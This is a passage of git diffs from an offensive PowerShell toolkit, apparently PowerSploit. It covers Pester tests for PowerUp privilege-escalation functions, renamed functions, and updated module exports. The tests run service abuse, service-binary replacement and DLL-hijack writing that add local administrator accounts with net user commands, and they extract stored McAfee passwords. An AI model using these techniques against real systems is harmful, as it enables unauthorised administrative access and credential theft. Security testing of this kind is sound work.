-ServiceName Dhcp + $Output = Get-ServiceDetail -Name 'Dhcp' $Output | Should Not BeNullOrEmpty } - It 'Should return not results for an invalid service.' { - $Output = Get-ServiceDetail -ServiceName NonExistent123 - $Output | Should BeNullOrEmpty + It 'Should throw with an empty Name.' { + $ServiceName = Get-RandomName + {Get-ServiceDetail -Name ''} | Should Throw + } + + It 'Should throw for an invalid service.' { + {Get-ServiceDetail -Name 'NonExistent123'} | Should Throw } It 'Should accept a service name on the pipeline.' { - $Output = "Dhcp" | Get-ServiceDetail + $Output = 'Dhcp' | Get-ServiceDetail + $Output | Should Not BeNullOrEmpty + } + + It 'Should accept a service object on the pipeline.' { + $Output = Get-Service 'Dhcp' | Get-ServiceDetail $Output | Should Not BeNullOrEmpty } } @@ -348,57 +607,97 @@ Describe 'Invoke-ServiceAbuse' { BeforeEach { $ServicePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" + ".exe" - $Null = sc.exe create "PowerUpService" binPath= $ServicePath + $Null = sc.exe create 'PowerUpService' binPath= $ServicePath } AfterEach { - $Null = sc.exe delete "PowerUpService" + $Null = sc.exe delete 'PowerUpService' $Null = $(net user john /delete >$Null 2>&1) } It 'Should abuse a vulnerable service to add a local administrator with default options.' { - $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" - $Output.Command | Should Match "net" + $Output = Invoke-ServiceAbuse -Name 'PowerUpService' + $Output.Command | Should Match 'net' - if( -not ($(net localgroup Administrators) -match "john")) { + if( -not ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' not created." + } + } + + It 'Should accept the -Force switch.' { + $Output = Invoke-ServiceAbuse -Name 'PowerUpService' -Force + $Output.Command | Should Match 'net' + + if( -not ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' not created." } } It 'Should accept a service name on the pipeline.' { - $Output = "PowerUpService" | Invoke-ServiceAbuse - $Output.Command | Should Match "net" + $Output = 'PowerUpService' | Invoke-ServiceAbuse + $Output.Command | Should Match 'net' + + if( -not ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' not created." + } + } + + It 'Should accept a service object on the pipeline.' { + $Output = Get-Service 'PowerUpService' | Invoke-ServiceAbuse + $Output.Command | Should Match 'net' - if( -not ($(net localgroup Administrators) -match "john")) { + if( -not ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' not created." } } It 'User should not be created for a non-existent service.' { - $Output = Invoke-ServiceAbuse -ServiceName "NonExistentService456" - $Output.Command | Should Match "Not found" + {Invoke-ServiceAbuse -ServiceName 'NonExistentService456'} | Should Throw - if( ($(net localgroup Administrators) -match "john")) { + if( ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' should not have been created for non-existent service." } } It 'Should accept custom user/password arguments.' { - $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!' - $Output.Command | Should Match "net" + $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!' + $Output.Command | Should Match 'net' - if( -not ($(net localgroup Administrators) -match "PowerUp")) { + if( -not ($(net localgroup Administrators) -match 'PowerUp')) { Throw "Local user 'PowerUp' not created." } $Null = $(net user PowerUp /delete >$Null 2>&1) } + It 'Should accept a credential object.' { + $Username = 'PowerUp123' + $Password = ConvertTo-SecureString 'PASSword123!' -AsPlaintext -Force + $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username, $Password + + $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Credential $Credential + $Output.Command | Should Match 'net' + + if( -not ($(net localgroup Administrators) -match 'PowerUp')) { + Throw "Local user 'PowerUp' not created." + } + $Null = $(net user PowerUp123 /delete >$Null 2>&1) + } + + It 'Should accept an alternate LocalGroup.' { + $Output = Invoke-ServiceAbuse -Name 'PowerUpService' -LocalGroup 'Guests' + $Output.Command | Should Match 'net' + + if( -not ($(net localgroup Guests) -match 'john')) { + Throw "Local user 'john' not added to 'Guests'." + } + } + It 'Should accept a custom command.' { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" - $Output = Invoke-ServiceAbuse -ServiceName "PowerUpService" -Command "net user testing Password123! /add" + $Output = Invoke-ServiceAbuse -ServiceName 'PowerUpService' -Command 'net user testing Password123! /add' if( -not ($(net user) -match "testing")) { - Throw "Custom command failed." + Throw 'Custom command failed.' } $Null = $(net user testing /delete >$Null 2>&1) } @@ -414,13 +713,13 @@ Describe 'Install-ServiceBinary' { BeforeEach { $ServicePath = "$(Get-Location)\powerup.exe" $Null | Out-File -FilePath $ServicePath -Force - $Null = sc.exe create "PowerUpService" binPath= $ServicePath + $Null = sc.exe create 'PowerUpService' binPath= $ServicePath } AfterEach { try { - $Null = Invoke-ServiceStop -ServiceName PowerUpService - $Null = sc.exe delete "PowerUpService" + $Null = Stop-Service -Name PowerUpService -Force + $Null = sc.exe delete 'PowerUpService' $Null = $(net user john /delete >$Null 2>&1) } finally { @@ -434,49 +733,65 @@ Describe 'Install-ServiceBinary' { } It 'Should abuse a vulnerable service binary to add a local administrator with default options.' { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' + $Output.Command | Should Match 'net' - $Output = Install-ServiceBinary -ServiceName "PowerUpService" - $Output.Command | Should Match "net" - - $Null = Invoke-ServiceStart -ServiceName PowerUpService + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue Start-Sleep -Seconds 3 - if( -not ($(net localgroup Administrators) -match "john")) { + if( -not ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' not created." } - $Null = Invoke-ServiceStop -ServiceName PowerUpService + $Null = Stop-Service -Name PowerUpService -Force $Output = Restore-ServiceBinary -ServiceName PowerUpService "$(Get-Location)\powerup.exe.bak" | Should Not Exist } - It 'Should accept a service name on the pipeline.' { + It 'Should accept a service Name on the pipeline.' { + $Output = 'PowerUpService' | Install-ServiceBinary + $Output.Command | Should Match 'net' - $Output = "PowerUpService" | Install-ServiceBinary - $Output.Command | Should Match "net" + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' not created." + } + $Null = Stop-Service -Name PowerUpService -Force + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } - $Null = Invoke-ServiceStart -ServiceName PowerUpService + It 'Should accept a service object on the pipeline.' { + $Output = Get-Service 'PowerUpService' | Install-ServiceBinary + $Output.Command | Should Match 'net' + + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue Start-Sleep -Seconds 3 - if( -not ($(net localgroup Administrators) -match "john")) { + if( -not ($(net localgroup Administrators) -match 'john')) { Throw "Local user 'john' not created." } - $Null = Invoke-ServiceStop -ServiceName PowerUpService + $Null = Stop-Service -Name PowerUpService -Force $Output = Restore-ServiceBinary -ServiceName PowerUpService "$(Get-Location)\powerup.exe.bak" | Should Not Exist } It 'User should not be created for a non-existent service.' { - $Output = Install-ServiceBinary -ServiceName "NonExistentService456" - $Output.Command | Should Match "Not found" + {Install-ServiceBinary -ServiceName "NonExistentService456"} | Should Throw + + if( ($(net localgroup Administrators) -match 'john')) { + Throw "Local user 'john' should not have been created for non-existent service." + } } It 'Should accept custom user/password arguments.' { - $Output = Install-ServiceBinary -ServiceName "PowerUpService" -Username PowerUp -Password 'PASSword123!' - $Output.Command | Should Match "net" + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!' + $Output.Command | Should Match 'net' - $Null = Invoke-ServiceStart -ServiceName PowerUpService + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue Start-Sleep -Seconds 3 - if( -not ($(net localgroup Administrators) -match "PowerUp")) { + if( -not ($(net localgroup Administrators) -match 'PowerUp')) { Throw "Local user 'PowerUp' not created." } $Null = $(net user PowerUp /delete >$Null 2>&1) @@ -485,12 +800,45 @@ Describe 'Install-ServiceBinary' { "$(Get-Location)\powerup.exe.bak" | Should Not Exist } - It 'Should accept a custom command.' { + It 'Should accept a credential object.' { + $Username = 'PowerUp123' + $Password = ConvertTo-SecureString 'PASSword123!' -AsPlaintext -Force + $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $Username, $Password - $Output = Install-ServiceBinary -ServiceName "PowerUpService" -Command "net user testing Password123! /add" - $Output.Command | Should Match "net" + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Credential $Credential + $Output.Command | Should Match 'net' - $Null = Invoke-ServiceStart -ServiceName PowerUpService + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Administrators) -match 'PowerUp123')) { + Throw "Local user 'PowerUp123' not created." + } + $Null = $(net user PowerUp123 /delete >$Null 2>&1) + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + + It 'Should accept an alternate LocalGroup.' { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Username PowerUp -Password 'PASSword123!' -LocalGroup 'Guests' + $Output.Command | Should Match 'net' + + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue + Start-Sleep -Seconds 3 + if( -not ($(net localgroup Guests) -match 'PowerUp')) { + Throw "Local user 'PowerUp' not created." + } + $Null = $(net user PowerUp /delete >$Null 2>&1) + + $Output = Restore-ServiceBinary -ServiceName PowerUpService + "$(Get-Location)\powerup.exe.bak" | Should Not Exist + } + + It 'Should accept a custom command.' { + $Output = Install-ServiceBinary -ServiceName 'PowerUpService' -Command "net user testing Password123! /add" + $Output.Command | Should Match 'net' + + $Null = Start-Service -Name PowerUpService -ErrorAction SilentlyContinue Start-Sleep -Seconds 3 if( -not ($(net user) -match "testing")) { Throw "Custom command failed." @@ -509,11 +857,19 @@ Describe 'Install-ServiceBinary' { # ######################################################## -Describe 'Find-DLLHijack' { +Describe 'Find-ProcessDLLHijack' { It 'Should return results.' { - $Output = Find-DLLHijack + $Output = Find-ProcessDLLHijack $Output | Should Not BeNullOrEmpty } + + It 'Should accept a Process name on the pipeline.' { + {'powershell' | Find-ProcessDLLHijack} | Should Not Throw + } + + It 'Should accept a service object on the pipeline.' { + {Get-Process powershell | Find-ProcessDLLHijack} | Should Not Throw + } } @@ -525,16 +881,29 @@ Describe 'Find-PathHijack' { It 'Should find a hijackable %PATH% folder.' { - New-Item -Path C:\PowerUpTest\ -ItemType directory -Force + New-Item -Path 'C:\PowerUpTest\' -ItemType directory -Force try { $OldPath = $Env:PATH $Env:PATH += ';C:\PowerUpTest\' - $Output = Find-PathHijack | Where-Object {$_.HijackablePath -like "*PowerUpTest*"} + $Output = Find-PathHijack | Where-Object {$_.Path -like "*PowerUpTest*"} | Select-Object -First 1 $Env:PATH = $OldPath - $Output.HijackablePath | Should Be 'C:\PowerUpTest\' + + $Output.Path | Should Be 'C:\PowerUpTest\' + + if ($Output.PSObject.Properties.Name -notcontains 'Path') { + Throw "Find-PathHijack result doesn't contain 'Path' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Find-PathHijack result doesn't contain 'Permissions' field." + } + + if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Find-PathHijack result doesn't contain 'IdentityReference' field." + } } catch { $Null = Remove-Item -Recurse -Force 'C:\PowerUpTest\' -ErrorAction SilentlyContinue @@ -542,13 +911,13 @@ Describe 'Find-PathHijack' { } } -# won't actually execute on Win8+ with the wlbsctrl.dll method -Describe 'Write-HijackDll' { +Describe 'Write-HijackDll' { + # won't actually execute on Win8+ with the wlbsctrl.dll method + # TODO: write tests to properly cover parameter validation It 'Should write a .dll that executes a custom command.' { - try { - Write-HijackDll -OutputFile "$(Get-Location)\powerup.dll" -Command "net user testing Password123! /add" + Write-HijackDll -DllPath "$(Get-Location)\powerup.dll" -Command 'net user testing Password123! /add' "$(Get-Location)\powerup.dll" | Should Exist "$(Get-Location)\debug.bat" | Should Exist @@ -567,45 +936,68 @@ Describe 'Write-HijackDll' { # ######################################################## -Describe 'Get-RegAlwaysInstallElevated' { +Describe 'Get-RegistryAlwaysInstallElevated' { + # TODO: set registry key, ensure it retrieves It 'Should not throw.' { - {Get-ServicePermission} | Should Not Throw + {Get-RegistryAlwaysInstallElevated} | Should Not Throw } } -Describe 'Get-RegAutoLogon' { +Describe 'Get-RegistryAutoLogon' { + # TODO: set a vulnerable autorun credential, ensure it retrieves It 'Should not throw.' { - {Get-ServicePermission} | Should Not Throw + {Get-RegistryAutoLogon} | Should Not Throw } } -Describe 'Get-VulnAutoRun' { +Describe 'Get-RegistryAutoRun' { if(-not $(Test-IsAdmin)) { - Throw "'Get-VulnAutoRun' Pester test needs local administrator privileges." + Throw "'Get-RegistryAutoRun' Pester test needs local administrator privileges." } It 'Should not throw.' { - {Get-VulnAutoRun} | Should Not Throw + {Get-RegistryAutoRun} | Should Not Throw } + It 'Should find a vulnerable autorun.' { try { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" $Null | Out-File -FilePath $FilePath -Force $Null = Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'" - $Output = Get-VulnAutoRun | ?{$_.Path -like "*$FilePath*"} + $Output = Get-RegistryAutoRun | Where-Object {$_.Path -like "*$FilePath*"} | Select-Object -First 1 + + $Output.ModifiableFile.Path | Should Be $FilePath + + if ($Output.PSObject.Properties.Name -notcontains 'Key') { + Throw "Get-RegistryAutoRun result doesn't contain 'Key' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'Path') { + Throw "Get-RegistryAutoRun result doesn't contain 'Path' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'ModifiableFile') { + Throw "Get-RegistryAutoRun result doesn't contain 'ModifiableFile' field." + } + + if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Path') { + Throw "Get-RegistryAutoRun ModifiableFile result doesn't contain 'Path' field." + } + if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Get-RegistryAutoRun ModifiableFile result doesn't contain 'Permissions' field." + } + if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Get-RegistryAutoRun ModifiableFile result doesn't contain 'IdentityReference' field." + } $Null = Remove-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp - - $Output.ModifiableFile | Should Be $FilePath } finally { $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue } - } + } } @@ -615,28 +1007,47 @@ Describe 'Get-VulnAutoRun' { # ######################################################## -Describe 'Get-VulnSchTask' { +Describe 'Get-ModifiableScheduledTaskFile' { if(-not $(Test-IsAdmin)) { - Throw "'Get-VulnSchTask' Pester test needs local administrator privileges." + Throw "'Get-ModifiableScheduledTaskFile' Pester test needs local administrator privileges." } It 'Should not throw.' { - {Get-VulnSchTask} | Should Not Throw + {Get-ModifiableScheduledTaskFile} | Should Not Throw } It 'Should find a vulnerable config file for a binary specified in a schtask.' { - try { $FilePath = "$(Get-Location)\$([IO.Path]::GetRandomFileName())" $Null | Out-File -FilePath $FilePath -Force $Null = schtasks.exe /create /tn PowerUp /tr "vuln.exe -i '$FilePath'" /sc onstart /ru System /f - $Output = Get-VulnSchTask | Where-Object {$_.TaskName -eq 'PowerUp'} + $Output = Get-ModifiableScheduledTaskFile | Where-Object {$_.TaskName -eq 'PowerUp'} | Select-Object -First 1 $Null = schtasks.exe /delete /tn PowerUp /f - - $Output.TaskFilePath | Should Be $FilePath + + $Output.TaskFilePath.Path | Should Be $FilePath + + if ($Output.PSObject.Properties.Name -notcontains 'TaskName') { + Throw "Get-ModifiableScheduledTaskFile result doesn't contain 'TaskName' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'TaskFilePath') { + Throw "Get-ModifiableScheduledTaskFile result doesn't contain 'TaskFilePath' field." + } + if ($Output.PSObject.Properties.Name -notcontains 'TaskTrigger') { + Throw "Get-ModifiableScheduledTaskFile result doesn't contain 'TaskTrigger' field." + } + + if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'Path') { + Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'Path' field." + } + if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'Permissions') { + Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'Permissions' field." + } + if ($Output.TaskFilePath.PSObject.Properties.Name -notcontains 'IdentityReference') { + Throw "Get-ModifiableScheduledTaskFile TaskFilePath result doesn't contain 'IdentityReference' field." + } } finally { $Null = Remove-Item -Path $FilePath -Force -ErrorAction SilentlyContinue @@ -683,23 +1094,6 @@ Describe 'Get-ApplicationHost' { } } - -Describe 'Invoke-AllChecks' { - It 'Should return results to stdout.' { - $Output = Invoke-AllChecks - $Output | Should Not BeNullOrEmpty - } - It 'Should produce a HTML report with -HTMLReport.' { - $Output = Invoke-AllChecks -HTMLReport - $Output | Should Not BeNullOrEmpty - - $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html" - - $HtmlReportFile | Should Exist - $Null = Remove-Item -Path $HtmlReportFile -Force -ErrorAction SilentlyContinue - } -} - Describe 'Get-SiteListPassword' { BeforeEach { $Xml = 'Products/CommonUpdater0jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==Repository$0companydomainMcAfeeServicePassword123!Repository$0companydomainMcAfeeServicejWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q==' @@ -709,7 +1103,7 @@ Describe 'Get-SiteListPassword' { Remove-Item -Force "${Home}\SiteList.xml" } - It 'Should correctly parse a SiteList.xml found in a searched path.' { + It 'Should correctly find and parse a SiteList.xml file.' { $Credentials = Get-SiteListPassword @@ -724,7 +1118,6 @@ Describe 'Get-SiteListPassword' { $_.DomainName | Should BeNullOrEmpty } - $Credentials | Where-Object {$_.Name -eq 'Paris'} | ForEach-Object { # UNC site with unencrypted password $_.Enabled | Should Be '1' @@ -748,9 +1141,9 @@ Describe 'Get-SiteListPassword' { } } - It 'Should correctly parse a SiteList.xml on a searched path.' { + It 'Should correctly parse a SiteList.xml on a specified path.' { - $Credentials = Get-SiteListPassword -SiteListFilePath "${Home}\SiteList.xml" + $Credentials = Get-SiteListPassword -Path "${Home}\SiteList.xml" $Credentials | Where-Object {$_.Name -eq 'McAfeeHttp'} | ForEach-Object { # HTTP site @@ -762,7 +1155,6 @@ Describe 'Get-SiteListPassword' { $_.UserName | Should BeNullOrEmpty $_.DomainName | Should BeNullOrEmpty } - $Credentials | Where-Object {$_.Name -eq 'Paris'} | ForEach-Object { # UNC site with unencrypted password @@ -789,6 +1181,23 @@ Describe 'Get-SiteListPassword' { } +Describe 'Invoke-AllChecks' { + It 'Should return results to stdout.' { + $Output = Invoke-AllChecks + $Output | Should Not BeNullOrEmpty + } + It 'Should produce a HTML report with -HTMLReport.' { + $Output = Invoke-AllChecks -HTMLReport + $Output | Should Not BeNullOrEmpty + + $HtmlReportFile = "$($Env:ComputerName).$($Env:UserName).html" + + $HtmlReportFile | Should Exist + $Null = Remove-Item -Path $HtmlReportFile -Force -ErrorAction SilentlyContinue + } +} + + Describe 'Get-System' { if(-not $(Test-IsAdmin)) { From 491594529205b66937c718b38cb4e7909935e6ec Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Sat, 4 Jun 2016 19:07:28 -0400 Subject: [PATCH 155/296] Renamed Get-RegistryAutoRun to Get-ModifiableRegistryAutoRun Renamed Find-PathHijack to Find-PathDLLHijack Fixed exposed functions in PowerSploit.psd1 --- PowerSploit.psd1 | 23 +++++++++++++++-------- Privesc/PowerUp.ps1 | 15 +++++++-------- Privesc/Privesc.psd1 | 4 ++-- Privesc/README.md | 6 +++--- Tests/Privesc.tests.ps1 | 32 ++++++++++++++++---------------- 5 files changed, 43 insertions(+), 37 deletions(-) diff --git a/PowerSploit.psd1 b/PowerSploit.psd1 index 492b8465..065ea684 100644 --- a/PowerSploit.psd1 +++ b/PowerSploit.psd1 @@ -25,27 +25,29 @@ FunctionsToExport = @( 'Add-NetUser', 'Add-ObjectAcl', 'Add-Persistence', + 'Add-ServiceDacl', 'Convert-NameToSid', 'Convert-NT4toCanonical', 'Convert-SidToName', 'Copy-ClonedFile', 'Find-AVSignature', 'Find-ComputerField', - 'Find-DLLHijack', 'Find-ForeignGroup', 'Find-ForeignUser', 'Find-GPOComputerAdmin', 'Find-GPOLocation', 'Find-InterestingFile', 'Find-LocalAdminAccess', + 'Find-PathDLLHijack', + 'Find-ProcessDLLHijack', 'Find-ManagedSecurityGroups', - 'Find-PathHijack', 'Find-UserField', 'Get-ADObject', 'Get-ApplicationHost', 'Get-CachedRDPConnection', 'Get-ComputerDetails', 'Get-ComputerProperty', + 'Get-CurrentUserTokenGroupSid', 'Get-DFSshare', 'Get-DomainPolicy', 'Get-ExploitableSystem', @@ -53,6 +55,11 @@ FunctionsToExport = @( 'Get-HttpStatus', 'Get-Keystrokes', 'Get-LastLoggedOn', + 'Get-ModifiablePath', + 'Get-ModifiableRegistryAutoRun', + 'Get-ModifiableScheduledTaskFile', + 'Get-ModifiableService', + 'Get-ModifiableServiceFile', 'Get-NetComputer', 'Get-NetDomain', 'Get-NetDomainController', @@ -79,21 +86,19 @@ FunctionsToExport = @( 'Get-ObjectAcl', 'Get-PathAcl', 'Get-Proxy', - 'Get-RegAlwaysInstallElevated', - 'Get-RegAutoLogon', + 'Get-RegistryAlwaysInstallElevated', + 'Get-RegistryAutoLogon', 'Get-SecurityPackages', 'Get-ServiceDetail', - 'Get-ServiceFilePermission', - 'Get-ServicePermission', 'Get-ServiceUnquoted', + 'Get-SiteListPassword', + 'Get-System', 'Get-TimedScreenshot', 'Get-UnattendedInstallFile', 'Get-UserEvent', 'Get-UserProperty', 'Get-VaultCredential', 'Get-VolumeShadowCopy', - 'Get-VulnAutoRun', - 'Get-VulnSchTask', 'Get-Webconfig', 'Install-ServiceBinary', 'Install-SSP', @@ -133,6 +138,8 @@ FunctionsToExport = @( 'Set-CriticalProcess', 'Set-MacAttribute', 'Set-MasterBootRecord', + 'Set-ServiceBinPath', + 'Test-ServiceDaclPermission', 'Write-HijackDll', 'Write-ServiceBinary', 'Write-UserAddMSI' diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 6e473d63..4071f6a7 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -2361,7 +2361,7 @@ function Find-ProcessDLLHijack { } -function Find-PathHijack { +function Find-PathDLLHijack { <# .SYNOPSIS @@ -2379,7 +2379,7 @@ function Find-PathHijack { .EXAMPLE - PS C:\> Find-PathHijack + PS C:\> Find-PathDLLHijack Finds all %PATH% .DLL hijacking opportunities. @@ -2720,8 +2720,7 @@ function Get-RegistryAutoLogon { } } - -function Get-RegistryAutoRun { +function Get-ModifiableRegistryAutoRun { <# .SYNOPSIS @@ -2736,7 +2735,7 @@ function Get-RegistryAutoRun { .EXAMPLE - PS C:\> Get-RegistryAutoRun + PS C:\> Get-ModifiableRegistryAutoRun Return vulneable autorun binaries (or associated configs). #> @@ -3571,7 +3570,7 @@ function Invoke-AllChecks { # DLL hijacking "`n`n[*] Checking %PATH% for potentially hijackable DLL locations..." - $Results = Find-PathHijack + $Results = Find-PathDLLHijack $Results | Foreach-Object { $AbuseString = "Write-HijackDll -DllPath '$($_.Path)\wlbsctrl.dll'" $_ | Add-Member Noteproperty 'AbuseFunction' $AbuseString @@ -3604,8 +3603,8 @@ function Invoke-AllChecks { } - "`n`n[*] Checking for registry autoruns and configs..." - $Results = Get-RegistryAutoRun + "`n`n[*] Checking for modifidable registry autoruns and configs..." + $Results = Get-ModifiableRegistryAutoRun $Results | Format-List if($HTMLReport) { $Results | ConvertTo-HTML -Head $Header -Body "

    Registry Autoruns

    " | Out-File -Append $HtmlReportFile diff --git a/Privesc/Privesc.psd1 b/Privesc/Privesc.psd1 index e4222bfb..97b7652c 100644 --- a/Privesc/Privesc.psd1 +++ b/Privesc/Privesc.psd1 @@ -24,17 +24,17 @@ PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = @( 'Add-ServiceDacl', - 'Find-PathHijack', + 'Find-PathDLLHijack', 'Find-ProcessDLLHijack', 'Get-ApplicationHost', 'Get-CurrentUserTokenGroupSid', 'Get-ModifiablePath', + 'Get-ModifiableRegistryAutoRun', 'Get-ModifiableScheduledTaskFile', 'Get-ModifiableService', 'Get-ModifiableServiceFile', 'Get-RegistryAlwaysInstallElevated', 'Get-RegistryAutoLogon', - 'Get-RegistryAutoRun', 'Get-ServiceDetail', 'Get-ServiceUnquoted', 'Get-SiteListPassword', diff --git a/Privesc/README.md b/Privesc/README.md index 8e4b75da..7f57768a 100644 --- a/Privesc/README.md +++ b/Privesc/README.md @@ -41,13 +41,13 @@ Optional Dependencies: None ### DLL Hijacking: Find-ProcessDLLHijack - finds potential DLL hijacking opportunities for currently running processes - Find-PathHijack - finds service %PATH% .dll hijacking opportunities - Write-HijackDll - writes out a hijackable .dll + Find-PathDLLHijack - finds service %PATH% DLL hijacking opportunities + Write-HijackDll - writes out a hijackable DLL ### Registry Checks: Get-RegistryAlwaysInstallElevated - checks if the AlwaysInstallElevated registry key is set Get-RegistryAutoLogon - checks for Autologon credentials in the registry - Get-RegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns + Get-ModifiableRegistryAutoRun - checks for any modifiable binaries/scripts (or their configs) in HKLM autoruns ### Miscellaneous Checks: Get-ModifiableScheduledTaskFile - find schtasks with modifiable target files diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index 3641ecec..62aad67d 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -873,10 +873,10 @@ Describe 'Find-ProcessDLLHijack' { } -Describe 'Find-PathHijack' { +Describe 'Find-PathDLLHijack' { if(-not $(Test-IsAdmin)) { - Throw "'Find-PathHijack' Pester test needs local administrator privileges." + Throw "'Find-PathDLLHijack' Pester test needs local administrator privileges." } It 'Should find a hijackable %PATH% folder.' { @@ -887,22 +887,22 @@ Describe 'Find-PathHijack' { $OldPath = $Env:PATH $Env:PATH += ';C:\PowerUpTest\' - $Output = Find-PathHijack | Where-Object {$_.Path -like "*PowerUpTest*"} | Select-Object -First 1 + $Output = Find-PathDLLHijack | Where-Object {$_.Path -like "*PowerUpTest*"} | Select-Object -First 1 $Env:PATH = $OldPath $Output.Path | Should Be 'C:\PowerUpTest\' if ($Output.PSObject.Properties.Name -notcontains 'Path') { - Throw "Find-PathHijack result doesn't contain 'Path' field." + Throw "Find-PathDLLHijack result doesn't contain 'Path' field." } if ($Output.PSObject.Properties.Name -notcontains 'Permissions') { - Throw "Find-PathHijack result doesn't contain 'Permissions' field." + Throw "Find-PathDLLHijack result doesn't contain 'Permissions' field." } if ($Output.PSObject.Properties.Name -notcontains 'IdentityReference') { - Throw "Find-PathHijack result doesn't contain 'IdentityReference' field." + Throw "Find-PathDLLHijack result doesn't contain 'IdentityReference' field." } } catch { @@ -952,14 +952,14 @@ Describe 'Get-RegistryAutoLogon' { } -Describe 'Get-RegistryAutoRun' { +Describe 'Get-ModifiableRegistryAutoRun' { if(-not $(Test-IsAdmin)) { - Throw "'Get-RegistryAutoRun' Pester test needs local administrator privileges." + Throw "'Get-ModifiableRegistryAutoRun' Pester test needs local administrator privileges." } It 'Should not throw.' { - {Get-RegistryAutoRun} | Should Not Throw + {Get-ModifiableRegistryAutoRun} | Should Not Throw } It 'Should find a vulnerable autorun.' { @@ -968,28 +968,28 @@ Describe 'Get-RegistryAutoRun' { $Null | Out-File -FilePath $FilePath -Force $Null = Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name PowerUp -Value "vuln.exe -i '$FilePath'" - $Output = Get-RegistryAutoRun | Where-Object {$_.Path -like "*$FilePath*"} | Select-Object -First 1 + $Output = Get-ModifiableRegistryAutoRun | Where-Object {$_.Path -like "*$FilePath*"} | Select-Object -First 1 $Output.ModifiableFile.Path | Should Be $FilePath if ($Output.PSObject.Properties.Name -notcontains 'Key') { - Throw "Get-RegistryAutoRun result doesn't contain 'Key' field." + Throw "Get-ModifiableRegistryAutoRun result doesn't contain 'Key' field." } if ($Output.PSObject.Properties.Name -notcontains 'Path') { - Throw "Get-RegistryAutoRun result doesn't contain 'Path' field." + Throw "Get-ModifiableRegistryAutoRun result doesn't contain 'Path' field." } if ($Output.PSObject.Properties.Name -notcontains 'ModifiableFile') { - Throw "Get-RegistryAutoRun result doesn't contain 'ModifiableFile' field." + Throw "Get-ModifiableRegistryAutoRun result doesn't contain 'ModifiableFile' field." } if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Path') { - Throw "Get-RegistryAutoRun ModifiableFile result doesn't contain 'Path' field." + Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'Path' field." } if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'Permissions') { - Throw "Get-RegistryAutoRun ModifiableFile result doesn't contain 'Permissions' field." + Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'Permissions' field." } if ($Output.ModifiableFile.PSObject.Properties.Name -notcontains 'IdentityReference') { - Throw "Get-RegistryAutoRun ModifiableFile result doesn't contain 'IdentityReference' field." + Throw "Get-ModifiableRegistryAutoRun ModifiableFile result doesn't contain 'IdentityReference' field." } $Null = Remove-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 